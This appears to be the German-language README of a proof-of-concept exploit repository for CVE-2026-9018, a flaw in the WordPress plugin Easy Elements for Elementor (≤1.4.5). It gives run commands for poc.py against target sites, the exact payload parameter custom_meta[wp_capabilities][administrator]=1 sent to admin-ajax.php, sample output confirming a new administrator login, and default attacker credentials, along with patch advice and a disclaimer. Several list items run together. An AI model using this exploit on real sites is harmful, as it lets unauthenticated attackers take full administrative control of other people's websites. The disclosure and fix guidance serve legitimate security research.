
Unauthenticated Privilege Escalation CVE-2026-9018: Easy Elements for Elementor
Forschung von: Atomic Edge Schweregrad: Hoch | CVSS: 8.8 | Authentifizierung erforderlich: Keine
Eine nicht authentifizierte Privilegienausweitung-Schwachstelle existiert im WordPress-Plugin Easy Elements for Elementor – Addons & Website Templates (Versionen ≤ 1.4.5). Die Funktion easyel_handle_register(), die über den AJAX-Handler wp_ajax_nopriv_eel_register bereitgestellt wird, übergibt vom Angreifer kontrollierte custom_meta-POST-Werte direkt an update_user_meta(), ohne eine Schlüssel-Whitelist. Dies ermöglicht es einem nicht authentifizierten Angreifer, den wp_capabilities-Metaschlüssel zu überschreiben und ein Administratorkonto zu erstellen.
Vor der Ausnutzung müssen auf der Zielseite die folgenden Bedingungen erfüllt sein:
Einstellungen → Allgemein → Jeder kann sich registrieren)easy_elements_nonce im Seiten-DOM bereit.pip install requests
# Standard – Nonce von der Startseite holen
python3 poc.py -u https://target.com
# Benutzerdefinierte Anmeldedaten
python3 poc.py -u https://target.com -U hacker -e [email protected] -p P@ssw0rd!
# Widget befindet sich auf /login/ Seite
python3 poc.py -u https://target.com --nonce-page /login/
# SSL-Verifikation überspringen
python3 poc.py -u https://target.com --no-verify
# Login-Prüfung nach Exploit überspringen
python3 poc.py -u https://target.com --skip-verify-login
[*] Fetching nonce from: https://target.com/login/
[+] Nonce found: a1b2c3d4e5
[*] Sending privilege escalation payload to: https://target.com/wp-admin/admin-ajax.php
[*] Username : atomic_admin
[*] Email : [email protected]
[*] Role : administrator (via wp_capabilities override)
[+] HTTP Status : 200
[✓] Privilege escalation payload accepted!
[✓] Admin login CONFIRMED!
┌─────────────────────────────────────────┐
│ WP Admin : https://target.com/wp-admin/
│ Username : atomic_admin
│ Password : Atomic@Edge2026!
└─────────────────────────────────────────┘
Der Exploit folgt einem zweistufigen Prozess:
Schritt 1 — Nonce-Auslesen
Das Login/Register-Elementor-Widget des Plugins rendert ein verstecktes easy_elements_nonce-Feld im HTML der Seite. Dieses Nonce ist für jeden nicht authentifizierten Besucher öffentlich zugänglich und wird per Regex aus dem Seitenquelltext extrahiert.
Schritt 2 — Böswillige Registrierung
Eine POST-Anfrage wird an /wp-admin/admin-ajax.php mit action=eel_register gesendet. Das custom_meta-Array wird so gestaltet, dass es Folgendes enthält:
custom_meta[wp_capabilities][administrator] = 1
Da easyel_handle_register() alle custom_meta-Schlüssel ohne eine Whitelist direkt an update_user_meta() übergibt, wird die Benutzermeta wp_capabilities nach der Registrierung überschrieben, was dem neuen Benutzer volle Administratorrechte gewährt.
Entwickler müssen die folgenden Korrekturen an easyel_handle_register() vornehmen:
custom_meta-Schlüssel (z. B. first_name, last_name, phone)wp_capabilities, wp_user_level, session_tokenswp_insert_user(), falls nicht erforderlich→ Aktualisieren Sie sofort auf Easy Elements for Elementor 1.4.6 oder höher.
Dieses Repository ist ausschließlich für autorisiertes Sicherheitsforschung und Bildungszwecke bestimmt. Verwenden Sie dieses Tool nicht gegen ein System ohne ausdrückliche schriftliche Genehmigung des Systembesitzers. Unbefugte Nutzung kann gegen den CFAA (USA), Strafgesetzbuch s.342.1 (Kanada), die EU-NIS2-Richtlinie und andere geltende Gesetze verstoßen. Die Autoren übernehmen keine Haftung für Missbrauch oder Schäden, die aus diesem Code entstehen.
| Eigenschaft | Detail |
|---|
| Plugin | Easy Elements for Elementor – Addons & Website Templates (easy-elements) |
| Betroffen | ≤ 1.4.5 |
| Behoben in | 1.4.6+ |
| Angriffsvektor | Netzwerk / Nicht authentifiziert |
| CWE | CWE-269: Verbesserung der Privilegienverwaltung |
| AJAX-Aktion | eel_register (nopriv) |
| Flag | Beschreibung | Standard |
|---|
-u, --url | Ziel-WordPress-URL | (erforderlich) |
-U, --username | Benutzername für das neue Administratorkonto | atomic_admin |
-e, --email | E-Mail für das neue Administratorkonto | [email protected] |
-p, --password | Passwort für das neue Administratorkonto | Atomic@Edge2026! |
-np, --nonce-page | Seitenpfad, der das Login/Register-Widget enthält | / |
--no-verify | SSL-Zertifikatsprüfung deaktivieren | false |
--skip-verify-login | Überprüfung des WP-Admin-Logins nach Exploit überspringen | false |